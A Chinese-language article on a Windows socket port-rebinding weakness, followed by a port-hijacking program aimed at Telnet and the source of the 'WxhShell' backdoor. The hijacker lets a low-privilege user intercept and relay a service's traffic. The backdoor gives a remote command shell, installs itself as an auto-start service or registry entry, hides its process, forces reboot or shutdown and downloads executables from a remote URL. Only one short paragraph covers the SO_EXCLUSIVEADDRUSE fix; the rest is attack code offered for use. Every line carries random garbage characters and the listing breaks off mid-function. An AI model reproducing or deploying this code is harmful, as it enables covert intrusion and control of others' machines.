在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
LlX{#R s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
UO0{):w> =RA / saddr.sin_family = AF_INET;
O#:$^#j& S?1AFI9{ saddr.sin_addr.s_addr = htonl(INADDR_ANY);
ub^h&=\S 4|buk]9 bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
^t` k0< 0b+Wc43}K 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
ALrw\qV g7}Gip}.> 这意味着什么?意味着可以进行如下的攻击:
~
{E'@MU R "n5 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
}Lc-7[/ @mOH"acGn? 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
K0-ypU*P GPkmf%FJ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
diJLZikk .AR#&mL9 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
Vq2y4D? w~(1%p/ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
6h|q'.Y /Y9>8XSc 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
\Jx04[= ?I6fye7 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
[B+yyBtx QQ%D8$k" #include
',Y.v"']4 #include
o<|cA5f\ #include
YLqGRE`W #include
`IP/d DWORD WINAPI ClientThread(LPVOID lpParam);
v*'^r)Q[p int main()
>6NRi /[ {
OVm\ WORD wVersionRequested;
*@Lp`thq DWORD ret;
;nep5!s;< WSADATA wsaData;
VPO
N-{=` BOOL val;
2/vMoVT, SOCKADDR_IN saddr;
AP68V SOCKADDR_IN scaddr;
-m)X]]~C int err;
>"|B9Woc SOCKET s;
a][f SOCKET sc;
\]</w5 Pi, int caddsize;
)Ub_@)X3%l HANDLE mt;
O{QA DWORD tid;
HBy[FYa4 wVersionRequested = MAKEWORD( 2, 2 );
#bUXgn> err = WSAStartup( wVersionRequested, &wsaData );
n,jKmA if ( err != 0 ) {
G0/4JSH printf("error!WSAStartup failed!\n");
GC>e26\: return -1;
Kf>A\l^X7 }
O~T@rX9f saddr.sin_family = AF_INET;
c9HrMgW f-bVKHt //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
q;R],7Re ".W8) saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
p~SClaR3H saddr.sin_port = htons(23);
D>HOn^ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
695V3R 7 {
rm5bkJcg~ printf("error!socket failed!\n");
~k!j+>yT return -1;
Sx708`/Ep }
GNgKo]u val = TRUE;
T^Y([23 //SO_REUSEADDR选项就是可以实现端口重绑定的
o^^rJk if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
c#|raXGT {
:# .<[ printf("error!setsockopt failed!\n");
=7w\
7-.m return -1;
V,mw[Hw }
,24p%KJ*X //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
)Hpa}FGT //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
^Y@\1fX 4e //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
SW*"\X; ,5|&A if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
v16JgycM {
v:!Z=I}> ret=GetLastError();
7uKNd
*% printf("error!bind failed!\n");
~tBYIkvWT return -1;
M@`;JjtSA }
pnjXf.g"O listen(s,2);
]b\yg2 while(1)
e7m*rh%5> {
I,0q4 caddsize = sizeof(scaddr);
rf?qdd(~cH //接受连接请求
,{BaePMp sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
y`F3Hr c if(sc!=INVALID_SOCKET)
m;'6MHx; {
O_ChxX0KP mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
_I)U%?V+ if(mt==NULL)
^su<uG<R {
Jth[DUH8H printf("Thread Creat Failed!\n");
n\xX}, break;
`Gn50-@ }
kMb}1J0i" }
EK;YiJ CloseHandle(mt);
vbb5f #WZ }
H,DM1Z9rz closesocket(s);
D)j(,vt WSACleanup();
KVT-P};jy* return 0;
VHCK2}ps }
KVn []@# DWORD WINAPI ClientThread(LPVOID lpParam)
Y0x%sz5 {
OR%'K2C6S SOCKET ss = (SOCKET)lpParam;
.#rJ+.2 SOCKET sc;
BQ=PW|[ unsigned char buf[4096];
|y0(Q V SOCKADDR_IN saddr;
N'^&\@)xiU long num;
VFRi1\G DWORD val;
=p*]Az DWORD ret;
| N[<x@ //如果是隐藏端口应用的话,可以在此处加一些判断
BI3@|,._N //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
lu<xv saddr.sin_family = AF_INET;
Nv(9N-9r saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
7]blrN] saddr.sin_port = htons(23);
| # 47O if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
H."EUcE{ {
9~p[ printf("error!socket failed!\n");
ti
I.W return -1;
bgK'{_o- }
1JztFix val = 100;
^pQCNKLBY if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
thifRd$4 {
aqj@Cjk4Z ret = GetLastError();
Uk^B"y_ return -1;
cc~O&?)i }
uTKD 4yig if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
XCU7xi$d {
u*Pibgd< ret = GetLastError();
G#d{,3Gq1 return -1;
3E!|<q$z }
*7ZN]/VRT if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
n:yTeZ=-s4 {
yCVI\y\B printf("error!socket connect failed!\n");
uBNn6j closesocket(sc);
LUM@#3& closesocket(ss);
J&.{7YF return -1;
rA%usaW }
Qo;zHZ' while(1)
#a'Ex=%rM {
8,?h~prc //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
gm igsXQ //如果是嗅探内容的话,可以再此处进行内容分析和记录
xKuRh}^K //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
MP_ ~<Q num = recv(ss,buf,4096,0);
d@XV:ae if(num>0)
+@p%
p send(sc,buf,num,0);
CG Y]r.O* else if(num==0)
=a@j= break;
JM x>][xD num = recv(sc,buf,4096,0);
y5?RVlKJ if(num>0)
E4|jOz^j4\ send(ss,buf,num,0);
95A1:A^t else if(num==0)
~Y|*`C_) break;
^c^#dpn }
4dO~C closesocket(ss);
Ju96#v+: closesocket(sc);
/aZ+T5O return 0 ;
Y
}$/e }
a
yCY~=i pTPi@SBaP{ bdC8zDD ==========================================================
DW5Y@;[
y9q8i(E0 下边附上一个代码,,WXhSHELL
oSyyd +av@$} ==========================================================
gkES5Q nqI@Y) #include "stdafx.h"
kYG/@7f/ wO'TBP #include <stdio.h>
D^l%{IG
#include <string.h>
=t9\^RIx)? #include <windows.h>
8$6Y{$&C #include <winsock2.h>
VH9dleZ #include <winsvc.h>
uE%r/:!k4$ #include <urlmon.h>
#gz
M| _jLL_GD #pragma comment (lib, "Ws2_32.lib")
g.BdlVB\ #pragma comment (lib, "urlmon.lib")
pR(jglm7- }+.}J #define MAX_USER 100 // 最大客户端连接数
Qw-~>d #define BUF_SOCK 200 // sock buffer
$*e2YQdLo #define KEY_BUFF 255 // 输入 buffer
L^}_~PO N5 U>]$a71 #define REBOOT 0 // 重启
oB}BU`-l #define SHUTDOWN 1 // 关机
N5Q[n d LAB=Vp1y3[ #define DEF_PORT 5000 // 监听端口
,K9*%rW) G`cHCP_n #define REG_LEN 16 // 注册表键长度
W42iu"@ #define SVC_LEN 80 // NT服务名长度
n^Hm;BiE# fmU { // 从dll定义API
h2Ld[xvCu% typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
CyS$|E typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
'u *DA|HC typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
0?s|i : typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
?9e_gV{&; $xzAv{ // wxhshell配置信息
ojcA<60
' struct WSCFG {
X{5vXT\/y int ws_port; // 监听端口
i3tg6o4C char ws_passstr[REG_LEN]; // 口令
'@o;-'b int ws_autoins; // 安装标记, 1=yes 0=no
uatm/o^~, char ws_regname[REG_LEN]; // 注册表键名
&S~zNl^m char ws_svcname[REG_LEN]; // 服务名
!%CWZZ 6u char ws_svcdisp[SVC_LEN]; // 服务显示名
v- 2:(IV char ws_svcdesc[SVC_LEN]; // 服务描述信息
J\+0[~~ char ws_passmsg[SVC_LEN]; // 密码输入提示信息
W0dSsjNio int ws_downexe; // 下载执行标记, 1=yes 0=no
zd2)M@ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
SheM|I~de char ws_filenam[SVC_LEN]; // 下载后保存的文件名
uxXBEq; ff]6aR/
UQ };
|]jb& M :ci5r;^ // default Wxhshell configuration
)#?"Gjf~ struct WSCFG wscfg={DEF_PORT,
dG@%jD) "xuhuanlingzhe",
Fq0i`~L~ 1,
>"^ O"E "Wxhshell",
]O]4z,n "Wxhshell",
2^r<{0@n "WxhShell Service",
h}[-'>{ "Wrsky Windows CmdShell Service",
h{%nC>m; "Please Input Your Password: ",
fT;s-v[`k 1,
8[a=OP "
http://www.wrsky.com/wxhshell.exe",
s3z$e+A8 "Wxhshell.exe"
bGN:=Y' };
WffQ :L? (l\1n;s*B // 消息定义模块
H=<S 9M char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
3k\#CiB{ char *msg_ws_prompt="\n\r? for help\n\r#>";
Z_$%. char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
/NLui@|R char *msg_ws_ext="\n\rExit.";
BBaQ}{F8>2 char *msg_ws_end="\n\rQuit.";
.!Oo|m`V@ char *msg_ws_boot="\n\rReboot...";
P@Hs`= char *msg_ws_poff="\n\rShutdown...";
'.on)Zd. char *msg_ws_down="\n\rSave to ";
?qP7Y nl 1a?!@g) char *msg_ws_err="\n\rErr!";
DGRXd# char *msg_ws_ok="\n\rOK!";
O8+7g+J=! 0]'7_vDs| char ExeFile[MAX_PATH];
(jnQ
- int nUser = 0;
5yd MMb HANDLE handles[MAX_USER];
R_ B7EP int OsIsNt;
-z-C*%~ 34`'M+3 SERVICE_STATUS serviceStatus;
P2NQHX
SERVICE_STATUS_HANDLE hServiceStatusHandle;
!<j'Ea ^UciW // 函数声明
B\=L3eL<D int Install(void);
q_Q/3rh int Uninstall(void);
lsJSYJG& int DownloadFile(char *sURL, SOCKET wsh);
oQLq&zRH`f int Boot(int flag);
AS!?q void HideProc(void);
>W%EmnLK int GetOsVer(void);
]GMe\n int Wxhshell(SOCKET wsl);
O@tU.5*$5 void TalkWithClient(void *cs);
zkt+7,vI int CmdShell(SOCKET sock);
aAZZ8V int StartFromService(void);
18|m)(W int StartWxhshell(LPSTR lpCmdLine);
O(#)m>A /'Ass(=6 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
Cw
iKi^m VOID WINAPI NTServiceHandler( DWORD fdwControl );
.!Qki@ {}>0e:51 // 数据结构和表定义
bZ?v-fn\D, SERVICE_TABLE_ENTRY DispatchTable[] =
D|lzGt {
"LHcB]^< {wscfg.ws_svcname, NTServiceMain},
&SIq2>Q A {NULL, NULL}
%d1,a$*3} };
o~U$GBg z#8~iF1 // 自我安装
Rvkedb int Install(void)
zbXI% {
[8P:?nDDL char svExeFile[MAX_PATH];
%r<rcY HKEY key;
xj<Rp|7& strcpy(svExeFile,ExeFile);
P!$Zx)T _mzW'~9wN // 如果是win9x系统,修改注册表设为自启动
GX)u|g if(!OsIsNt) {
}Q)#[#e if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
#=D) j RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
.4_o>D RegCloseKey(key);
mH54ja2 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
Kh"?%ZIa RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
V("{)0~O RegCloseKey(key);
ucuSe!IcX return 0;
6h>wt-tRC }
pe0F0Ruy }
Jz?j[ }
3T31kQv{ else {
kJWn<5%ayg G
!<Z.] // 如果是NT以上系统,安装为系统服务
!5wIIS:FT SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
7WZrSC if (schSCManager!=0)
"HX<,l8f% {
pny11C SC_HANDLE schService = CreateService
zUDg&-J3 (
"MxnFeLM# schSCManager,
anuL1fXO wscfg.ws_svcname,
".f ;+wH wscfg.ws_svcdisp,
zuP B6W ^ SERVICE_ALL_ACCESS,
+QB"8- SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
OBgkpx*Q SERVICE_AUTO_START,
9 ^o-EC!_ SERVICE_ERROR_NORMAL,
/xG*,YL/q svExeFile,
f'8kish NULL,
Z<U6<{b NULL,
h,QKd>4:CF NULL,
|o,YCzy|5 NULL,
z^KJ*E NULL
)W|w C# );
c@YI;HS_g if (schService!=0)
1pQn8[sc@ {
|HU@
> CloseServiceHandle(schService);
m 2-Sx CloseServiceHandle(schSCManager);
agkA}O strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
&6DMk- strcat(svExeFile,wscfg.ws_svcname);
<CRP^_c if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
01[NX? qEa RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
kSC}aN' RegCloseKey(key);
|
H!28h return 0;
YX%[ipgB }
z|fmrwkN'$ }
<m:m &I
8@ CloseServiceHandle(schSCManager);
ADZ};:] }
2*rH?dz8E }
+nUy,S?43 6\L0mcXR!
return 1;
F8hw#!Aq }
0WT{,/> Yj%U
>),8 // 自我卸载
r$5i Wu int Uninstall(void)
K )[]fm {
Pf*^ZB% HKEY key;
l;af~ef)' n 9\
C2r if(!OsIsNt) {
A2^\q>_# if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
"~E[)^ANxD RegDeleteValue(key,wscfg.ws_regname);
5>VY LI RegCloseKey(key);
Hip&8NW if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
+U_=*"@| RegDeleteValue(key,wscfg.ws_regname);
N03G>fZ RegCloseKey(key);
3Uqr,0$p return 0;
'iy*^A `Y }
;_8#f%Y#R }
dlU'2Cl7d }
OQ8 bI=?[x else {
FSU ttg" GRMiQa SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
;g6M%;1- if (schSCManager!=0)
0_k'.5l% {
wpN k+; SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
+${D if (schService!=0)
Wf>zDW^"R {
<$6QDfa# if(DeleteService(schService)!=0) {
$=5=NuX CloseServiceHandle(schService);
qZ]pq2G CloseServiceHandle(schSCManager);
:q
ti return 0;
t^`O{m< }
u4.ngjJ CloseServiceHandle(schService);
h tx;8: }
7~&/_3 CloseServiceHandle(schSCManager);
[v$0[IuY, }
/y A7%2 }
1mfs4 e2z h&j return 1;
uMut=ja(U }
XGJj3-eW{ I+Jm>XN // 从指定url下载文件
m~@;~7I x int DownloadFile(char *sURL, SOCKET wsh)
Z-8Yd6 4 {
z ?[r HRESULT hr;
-6Oz^
char seps[]= "/";
3=
DNb+D! char *token;
WJNl5^ char *file;
cZH-" char myURL[MAX_PATH];
|l&vkRrN char myFILE[MAX_PATH];
\ {qI4= Na$Is'F&p strcpy(myURL,sURL);
TlI<1/fP} token=strtok(myURL,seps);
GM<BO8Y. while(token!=NULL)
BYTnrPA&Z; {
'; = f file=token;
|u0(t,T token=strtok(NULL,seps);
tniDF>Rb }
2H/Z_+\ .,7JAkB%t GetCurrentDirectory(MAX_PATH,myFILE);
ZiYm:$CJ strcat(myFILE, "\\");
p/JL9@:' strcat(myFILE, file);
%STliJ send(wsh,myFILE,strlen(myFILE),0);
vo\fUT@k send(wsh,"...",3,0);
K+Z+wA? hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
o;W`4S^ if(hr==S_OK)
$&$w Y/F return 0;
$U$V?xuE else
G2]4n T return 1;
Pt@%4 :&-h OkCQ?] }
KhCzD[tf aFe`_cnG // 系统电源模块
"Fy7K#n int Boot(int flag)
L KCb_9 {
)LJnLo+ HANDLE hToken;
R)M_|ca TOKEN_PRIVILEGES tkp;
d"5oD@JG: e1>aTu@ if(OsIsNt) {
Sr&515 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
<V7>?U l LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
4Sm]>%F': tkp.PrivilegeCount = 1;
uKz,SqX tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
:N<.?%Kf AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
iT;@bp if(flag==REBOOT) {
%&->%U|' if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
`6[I^qG". return 0;
S#-wl2z }
kloR#?8A else {
HJ2*y|u if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
]J* ,g, return 0;
s0*0 'f }
r6;$1K*0 }
`}m Q else {
DNR~_3Aq if(flag==REBOOT) {
{ekCQeDo if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
sK"9fU return 0;
[97KBoSU }
mCs#.%dU else {
j
,)P9V if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
:-iMdtm return 0;
nLwiCfe }
Bd^"=+c4 }
X*g(q0N<S BaO1/zk return 1;
l
akp }
`/"nTB !Oj)B1gc6& // win9x进程隐藏模块
9D 0dg( void HideProc(void)
dLvJh#`o {
`:wvh(
mv
atUe HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
'JZJFE7Z if ( hKernel != NULL )
v[TYc:L= {
BR v+.(S pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
N7%TYs ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
ZUp\Ep} FreeLibrary(hKernel);
7l."b$U4yv }
!Y<oN~<%) >sD4R}\}) return;
iB1i/l }
/<&h@$NHH4 2b=)6H1 // 获取操作系统版本
v)f7};"z int GetOsVer(void)
%d m-?` {
G\/"}B:( OSVERSIONINFO winfo;
TwvAj#j winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
#fs|BV
! GetVersionEx(&winfo);
~=&t 0D if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
_Mc>W0'5@ return 1;
?/M_~e.P else
tfkr+
/ return 0;
3+xy4G@L }
02JoA+ kax\h // 客户端句柄模块
K"<*a"1I int Wxhshell(SOCKET wsl)
?0<w {
"R9Yb,tIN SOCKET wsh;
td{O}\s7D struct sockaddr_in client;
V5D2\n3A DWORD myID;
K?u(1 Y\+KoR'; while(nUser<MAX_USER)
yPu4T6Vv {
!EF(*~r!9L int nSize=sizeof(client);
d"~(T:=r wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
{13!vS%5 if(wsh==INVALID_SOCKET) return 1;
~S; Z\ ,xths3.K handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
zz_[S{v!# if(handles[nUser]==0)
BRbV7&
closesocket(wsh);
W9J1= else
o%y;(|4t > nUser++;
X1A<$Am1 }
TSL9ax4j WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
Nm]%
} y/_wx(2 return 0;
dl l%4Sd }
80ZnM%/} PI|`vC|yy& // 关闭 socket
tkuc/Z/@ void CloseIt(SOCKET wsh)
7w58L:)B. {
6J%iZ closesocket(wsh);
(U87}}/l nUser--;
^[->
) ExitThread(0);
[cU,!={ }
0jB X5 ~%y\@x7I // 客户端请求句柄
:kw0y void TalkWithClient(void *cs)
m/USC'U% {
<>4!XPo%J #Ws53mT SOCKET wsh=(SOCKET)cs;
C|z%P}u#p char pwd[SVC_LEN];
@R:#" char cmd[KEY_BUFF];
H`<?<ak6'M char chr[1];
ValS8V*N1 int i,j;
p/|(,)'+jx 17py).\ while (nUser < MAX_USER) {
G%w_CMfH Q5E:|)G if(wscfg.ws_passstr) {
ZTf_#eS$ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
Sa]Ek* //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
0B3 QVbp' //ZeroMemory(pwd,KEY_BUFF);
(iDBhC;/B i=0;
b%0BkS* while(i<SVC_LEN) {
=Nl5{qYz^& ha'qIT3& // 设置超时
~Q!~ eTw fd_set FdRead;
QTh0SL struct timeval TimeOut;
H2\1gNL FD_ZERO(&FdRead);
)|T`17- FD_SET(wsh,&FdRead);
w yD%x( TimeOut.tv_sec=8;
d)*(KhYie@ TimeOut.tv_usec=0;
J'7 y
int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
x*mc - &N if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
|(%AM*n !V(`ZH if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
u&3EPu pwd
=chr[0]; j6X LyeG7
if(chr[0]==0xd || chr[0]==0xa) { G^"H*a
pwd=0; Rrz'(KSDw
break; wF;B@
} -><QFJ
i++; LV=^jsQ5
} XWF7#xM
GEi
MmH?
// 如果是非法用户,关闭 socket !d|8'^gc
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); B?TpBd
} +G\0L_B
'^lUL) R
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); qnTi_c
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0Q*-g}wXfS
x?>!UqgkY
while(1) { T:@7S
oYg/*k7EDX
ZeroMemory(cmd,KEY_BUFF); bQ=s8'
4d6%
t2
// 自动支持客户端 telnet标准 _}z_yu#jY
j=0; wjg}[R@!
while(j<KEY_BUFF) { Ix4 jof6(
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7n<#y;wo
cmd[j]=chr[0]; $OT}`Te~
if(chr[0]==0xa || chr[0]==0xd) { 7n
[12:
cmd[j]=0; G#g{3}dcK
break;
j$%yw4dsj
} D;J|eC>^
j++; w2KWa-BO
} v?%0~!
_p$"NNFN
// 下载文件 )MMhlcNC
if(strstr(cmd,"http://")) { @qpYDnJ:
send(wsh,msg_ws_down,strlen(msg_ws_down),0); v s w7|
if(DownloadFile(cmd,wsh)) &,_?>.\[<
send(wsh,msg_ws_err,strlen(msg_ws_err),0); @>gD1Q7v b
else \ p1K(H
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);
~t$mw,
} B>ge,
}{
else { T&mbXMN
N!.kq4$.
switch(cmd[0]) { %zRiLcAT
tu7+LwF7
// 帮助 li1v 4
case '?': { 65;|cmjv
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 2z[r@}3
break; fuQ4rt[i
} zZ<ns+h
// 安装 y4 dp1<t%
case 'i': { 3"f)*w7d
if(Install()) 5#yJK>a7
send(wsh,msg_ws_err,strlen(msg_ws_err),0); @*bvMEE
else (QA-"9v#i,
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); g&|4
break; [vZfH!vLP
} xYT#!K1*
// 卸载 v&k>0lV,^
case 'r': { `WraOsoY
if(Uninstall()) s$js5
ou
send(wsh,msg_ws_err,strlen(msg_ws_err),0); "sz.v<F0:s
else gcQ. YP9
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); YJ&lB&xH
break; 8=lHUn9l
} ._8xY$l$
// 显示 wxhshell 所在路径 i5ajM,i/K
case 'p': { Usa{J:
char svExeFile[MAX_PATH]; Y\+(rC27
strcpy(svExeFile,"\n\r"); \f8P`oET~
strcat(svExeFile,ExeFile); e{^:/WcYB
send(wsh,svExeFile,strlen(svExeFile),0); TBoM{s=.
break; _)HD4,`
} 5KL9$J9k
// 重启 |@T5$Xg]5
case 'b': { }:,o Y<
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); i6meY$l
if(Boot(REBOOT)) Qs}/x[I
send(wsh,msg_ws_err,strlen(msg_ws_err),0); c n\k`8
else { vjOG?-
closesocket(wsh); mB{&7Rb0
ExitThread(0); \;3B?8wbIl
} [dSDg2]
break; PfwI@%2
} h|(ZXCH
// 关机 +cPE4(d
case 'd': { 3p?<iVE
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); u7<qaOzs?
if(Boot(SHUTDOWN)) FUW(>0x?
send(wsh,msg_ws_err,strlen(msg_ws_err),0); y(aAp.S>
else { Lo$Z>u4(c
closesocket(wsh); yr/]xc$
ExitThread(0); I]uOMWZs
} FqT,4SIR
break; /pAm8vK
} Z1)jRE2dl
// 获取shell z*NC?\
case 's': { $'J6#Vs
CmdShell(wsh); <WQ<<s@#pb
closesocket(wsh); K$37}S5
ExitThread(0); QoT3;<r}
break; E1U 4v&P
} 6)uPM"cO
// 退出 ?d>P+).
case 'x': { xzMeKC`
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 20Cie
q
CloseIt(wsh); q{9X.-]}
break; !BvTJ-e)F
} niBjq#bJi
// 离开 JA SR
case 'q': { *D09P%
send(wsh,msg_ws_end,strlen(msg_ws_end),0); [0tfY0
closesocket(wsh); /IrR,bvA
WSACleanup(); !%Hl#Pv}
exit(1); YvxMA#
break; 3j=%De
} YjX!q]56
} |;U}'|6
} 7q2"b?|h
!CVBG*E^l
// 提示信息 v8U1uOR,%
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /BjGAa(
} NrI5uC7
} \AtwO
JXSqtk=
return; z|DA
_dG
} v]`A_)[
|U#w?eE=
// shell模块句柄 fa+W9
int CmdShell(SOCKET sock) bWQORjnd8
{ rjpafGCp
STARTUPINFO si; +2au
;^N
ZeroMemory(&si,sizeof(si)); QS=$#Gp
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; /|u]Y/ *
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Br ^rK}|l
PROCESS_INFORMATION ProcessInfo; ,@'){V
char cmdline[]="cmd"; (/x@W`
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ~0^,L3M
return 0; X!+Mgh6
} $R$c1C'oX
b~haP.Cl:
// 自身启动模式 q@MjeGs%
int StartFromService(void) :oj)
eS[Y
{ jC Kt;lj
typedef struct ndCS<ojcBP
{ (E1>}
DWORD ExitStatus; E_'n4@}Cx
DWORD PebBaseAddress; /o1)ZC$
DWORD AffinityMask; WtdkA Sj
DWORD BasePriority; 18/@:u{
ULONG UniqueProcessId; zIQc#F6\5
